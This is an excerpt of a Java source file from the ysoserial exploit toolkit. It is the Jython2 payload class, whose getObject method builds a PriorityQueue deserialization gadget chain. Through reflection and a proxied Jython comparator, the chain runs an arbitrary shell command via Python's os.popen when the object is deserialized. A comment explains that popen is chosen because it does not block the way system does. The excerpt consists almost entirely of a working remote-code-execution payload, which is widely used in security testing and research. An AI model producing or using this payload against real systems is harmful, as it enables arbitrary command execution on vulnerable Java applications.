Method getObject

src/main/java/ysoserial/payloads/Jython2.java:45–65

(String command)

@Authors({ Authors.SSEELEY, Authors.RCALVI })
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
    public PriorityQueue getObject(String command) throws Exception {
        Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
        Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
        c.setAccessible(true);
        Object builtin = c.newInstance(RandomStringUtils.randomAscii(12), 18, 1);
        PyMethod handler = new PyMethod((PyObject)builtin, null, new PyString().getType());
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        HashMap<Object, PyObject> myargs = new HashMap<Object, PyObject>();
        myargs.put("cmd", new PyString(command));
        PyStringMap locals = new PyStringMap(myargs);
        Object[] queue = new Object[] {
            // system('notepad')会阻塞进程 popen不会
            // new PyString("__import__('os').system(cmd)"), // attack
            new PyString("__import__('os').popen(cmd)"), // attack
            locals,                                       // context
        };
        Reflections.setFieldValue(priorityQueue, "queue", queue);
        Reflections.setFieldValue(priorityQueue, "size", 2);
        return priorityQueue;
    }
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jython2.class, args);
    }